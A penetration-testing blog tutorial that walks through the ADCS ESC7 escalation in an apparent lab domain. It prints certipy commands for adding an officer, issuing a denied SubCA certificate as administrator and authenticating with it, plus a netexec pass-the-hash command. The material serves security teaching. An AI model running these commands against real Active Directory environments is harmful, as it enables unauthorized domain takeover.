ADCS Part VII – Introduction
In PART 6 of this short ADCS series, we provided an overview of Active Directory Certificate Services and demonstrated ESC6, one of the escalation techniques. This post will walk you through ESC7, another critical escalation technique that leverages high-privileged permissions on Certificate Authority(CA). This technique relies on the fact that users with the Manage CA and Manage Certificates access rights can issue previously denied certificate requests, which can be manipulated to gain elevated access. This method underscores significant security risks associated with improper certificate authority configurations and highlights the importance of strict access control in active directory environments.
Video Walkthrough
Want to practice this yourself?
Prerequisites – ESC7 Attack
For this technique to work, the following requirements must be met:
- The user must have the Manage Certificate Authority (CA) access right.
- The user must also have the Manage Certificates access right.
- With the “Manage Certificate Authority (CA)” access right, you have the ability to grant yourself the “Manage Certificates” access right. You can do this by adding your user account as a new officer.
certipy ca -ca SHIELD-DC4-CA -dc-ip 192.168.115.180 -u pcoulson -p 'P4ssw0rd123456@' -add-officer pcoulson
- The certificate template SubCA must be enabled:
- Users with the Manage Certificate Authority (CA) and Manage Certificates access rights can issue failed certificate requests.
- The SubCA certificate template is vulnerable to ESC1, but only administrators can enroll in the template.
- A user can request a certificate from the SubCA. This request will be denied initially; however, the manager can approve it and then issue the certificate.
- Note: The SubCA certificate template is enabled by default but can also be enabled by utilizing Manage Certificate Authority (CA) and Manage Certificates access rights if it has been disabled by the admin.
certipy ca -ca SHIELD-DC4-CA -dc-ip 192.168.115.180 -u pcoulson -p 'P4ssw0rd123456@' -enable-template SubCA
ESC7 – Walkthrough
The ADCS ESC7 attack exploits the combination of “Manage Certificate Authority (CA)” and “Manage Certificates” access rights. In this attack, an attacker with “Manage CA” access rights can add themselves as a new officer and grant themselves “Manage Certificates” access rights.
The attacker can then request a certificate using the Subordinate Certificate Authority (SubCA) certificate template. While this request is initially denied, the attacker, with their high privileges, can issue the previously denied certificate request. This allows the attacker to elevate their privileges, potentially gaining access as a domain administrator.
Enumeration using certipy
To find the dangerous permission, we can use Certipy below command:
certipy find -dc-ip 192.168.115.180 -u pcoulson -p 'P4ssw0rd123456@'Certipy generates outputs in JSON and TXT file formats. These files are named “_Certipy” and can be found in the current folder.
cat 20240713124024_Certipy.txt
ADCS Enumeration Using Bloodhound To Find The Attack Path
We know that the user “pcoulson” is a member of the “DOMAIN USER” group, and from the GIF below, we can see that he has ManageCA right over Certificate Authority. (SHIELD-DC4-CA@SHIELD.LOCAL).
Request a Certificate Using the SubCA Template
After meeting the prerequisites for the attack, initiate a certificate request using the SubCA template. When the request is denied, save the private key and note the request ID.
certipy req -ca SHIELD-DC4-CA -dc-ip 192.168.115.180 -u pcoulson -p 'P4ssw0rd123456@' -template SubCA -target DC4.shield.local -upn administrator@shield.local
Issue The Failed Certificate Request
To issue the previously denied certificate request, use the certipy command with the -issue-request parameter.
certipy ca -ca SHIELD-DC4-CA -dc-ip 192.168.115.180 -u pcoulson -p 'P4ssw0rd123456@' -issue-request 133
Retrieve the Issued Certificate
Retrieve the issued certificate by running the req command with the -retrieve parameter.
certipy req -ca SHIELD-DC4-CA -dc-ip 192.168.115.180 -u pcoulson -p 'P4ssw0rd123456@' -template SubCA -target DC4.shield.local -upn administrator@shield.local -retrieve 133
Authenticate Using the Certificate
Once the .pfx certificate file is obtained, request the domain admin TGT Ticket or the administrator hash to gain access to the domain controller.
certipy auth -pfx administrator.pfx
netexec smb 192.168.115.180 -u administrator -H aad3b435b51404eeaad3b435b51404ee:c5153b43885058f27715b476e5246a50
Gaining Access to DC via Pass-The-Hash Technique
Please refer to one of our previous ADCS attacks for more detailed information on gaining access via the Pass-The-Hash Technique.
Gaining Access to DC using a TGT Ticket
We need to obtain the administrator.pfx file, which can be acquired by executing the below command.
certipy req -ca SHIELD-DC4-CA -dc-ip 192.168.115.180 -u pcoulson@shield.local -p 'P4ssw0rd123456@' -template USER -target DC4.shield.LOCAL -upn 'administrator@shield.local'To continue, refer to one of our previous ADCS attacks for more detailed information on gaining access using TGT Ticket.
Conclusion
The ADCS ESC7 attack highlights the need for strict access control and proper configuration of certificate authorities in Active Directory. Attackers can exploit certain access rights to bypass denials and issue vulnerable certificates, leading to elevated access and system compromise.
To reduce this risk, organizations should control access rights, configure certificate templates properly, and conduct regular audits. Robust security measures are essential to prevent exploitation. Staying vigilant and proactive helps safeguard Active Directory environments from ADCS ESC7 and similar threats.
Looking for a team to critically test your environment using real-world attack techniques? Explore RBT Security’s red team and penetration testing services.
Detections & Mitigations
- Credentials from Password Stores – T1555
- Steal or Forge Authentication Certificates – T1649
- Pass The Hash – T1550.002
- Steal or Forge Kerberos Tickets – T1558
- Pass the Ticket – T1550.003
Credits & References
Highly skilled Pentester with experience in various areas, including multi-clouds (AWS, Azure, and GCP), network, web applications, APIs, and mobile penetration testing. In addition, he is passionate about conducting Red and Purple Team assessments and developing innovative solutions to protect company systems and data.